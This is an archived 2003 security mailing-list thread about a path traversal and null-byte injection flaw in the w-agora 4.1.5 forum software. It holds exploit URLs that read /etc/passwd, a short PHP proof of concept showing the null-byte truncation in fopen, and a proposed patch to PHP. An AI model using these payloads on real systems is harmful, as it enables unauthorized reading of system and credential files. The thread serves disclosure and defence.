Bug in w-agora

[sonyy@2vias.com.ar]

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D
=3D=3DShell Security Team=3D=3D
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D
=3D=3D=3D=3DAdvisory For W-agora=3D=3D=3D=3D=3D=3D
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D

- Product : w-agora
- Tested version : version 4.1.5
- Website : http://www.w-agora.net
- Discovery By Sonyy
- Vendor Status: informed
- Problem : A security vulnerability in W-agora


The bug :
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

index.php

if (empty($bn)) {
# No forum selected -> default to 'site' configuration
$site =3D empty($site) ? "agora" : $site;

$cfg_file =3D "${cfg_dir}/site_${site}.${ext}";
$expnd =3D "all";
} else {
$cfg_file =3D "${cfg_dir}/${bn}.${ext}";
}



Exploit :
=3D=3D=3D=3D=3D=3D=3D=3D=3D


index.php

http://www.w-agora.net/current/index..../../../../..=
/../../../../../etc/passwd%00

And modules.php

http://www.w-agora.net/current/modul..../../../../..=
/../../../../../etc/passwd%00&bn=3Dfm_d1



Any Question :
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Sonyy --> Sonico60@hotmail.com

[Nicob]

On Sun, 2003-01-12 at 16:03, sonyy@2vias.com.ar wrote:

> - Product : w-agora
> - Tested version : version 4.1.5
> - Vendor Status: informed

> The bug :
> ==========
>
> index.php :
> $cfg_file = "${cfg_dir}/${bn}.${ext}";
>
> http://www.w-agora.net/current/index.../etc/passwd%00
> http://www.w-agora.net/current/modul...wd%00&bn=fm_d1

AFAIK, the Null-byte attack doesn't work with PHP. It works with Perl
and some Java apps, yes, but not PHP ...

Furthermore, I've briefly audited this software 3 or 4 weeks ago, and I
check every include() call. Now (the editor is very reactive), there's
everywhere some concatenation with $ext, which is defined as ".php" in
some init files. There's probably some place where you can read some
files ending in ".php", but no more ...

As a side note, there's probably some room in PHP exploitation in the
init files (in general, ,not particulary for this app). A "well known
good practice" is too set a ".php" extension to init files in order to
protect them against bad ACL at the web-server level allowing attackers
to read their content (credentials, authentification).

But these files are not developped in the idea that they will be call
directly, and some code can probaly be subverted because of this.

No working example, it's just something I was thinking about ...
By the way, what does the editor answer to your mail ?


Nicob

[Ian Clelland]

On Thu, Jan 16, 2003 at 12:07:12AM +0100, Nicob wrote:
> On Sun, 2003-01-12 at 16:03, sonyy@2vias.com.ar wrote:
> > index.php :
> > $cfg_file = "${cfg_dir}/${bn}.${ext}";
> >
> > http://www.w-agora.net/current/index.../etc/passwd%00
> > http://www.w-agora.net/current/modul...wd%00&bn=fm_d1
>
> AFAIK, the Null-byte attack doesn't work with PHP. It works with Perl
> and some Java apps, yes, but not PHP ...

PHP strings in general are stored with their lengths, and can contain
arbitrary binary data (unlike, say, C). Within PHP, strings containing
null bytes are safe to use.

The problem here is that PHP will often pass PHP-function-parameters
unchecked directly to the lower-level C library functions.

PHP may handle a filename like '/etc/passwd\x00.ext' just fine, but if
it passes the address of that string to fopen(), then the C function
will treat the argument as a null-terminated string, and open
/etc/passwd.


As a quick proof-of-concept, try this code under your favourite PHP
interpreter (I've tested it on a 4.0-series platform, and a quick
perusal of the the relevant files in the 4.3.0 source doesn't show any
protection against this):

<?php

header("Content-type: text/plain");
$filename = '/etc/passwd'."\0".'.ext';
$file = fopen($filename,'r');
$line = fgets($file,1024);
echo $filename."\r\n";
echo $line;
fclose($file);

?>


Output:
/etc/passwd .ext
rox:0:0o/ro/bin/bash



You can see by the output of the echo statement that PHP deals with null
bytes very well within strings, but that fopen stopped reading the
filename at the null.

This looks to be quite difficult to guard against -- the application
level solution would have to involve scanning all strings for null bytes
before passing them to any of a very large number of PHP functions. A
better solution would be to have PHP itself do a libc string length
check before passing arguments to lower-level functions.

Adding just a few lines to ext/standard/file.c should prevent an attack
like this on fopen:

***************
*** 1086,1092 ****
--- 1086,1095 ----
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss|br",
&mode, &mode_len, &use_include_path,
&zcontext) == FAILURE) {
RETURN_FALSE;
}
+ if (strlen(filename) != filename_len) {
+ RETURN_FALSE;
+ }
if (zcontext) {
ZEND_FETCH_RESOURCE(context, php_stream_context*,
&zcontext, -1, "stream-context", le_stream_context);
}


There is almost certainly a better place to check this; I'm not that
familiar with the code. And, of course, there are probably at least a
hundred other points in the code where a patch like this needs to be
applied.


Ian Clelland
<ian@veryfresh.com>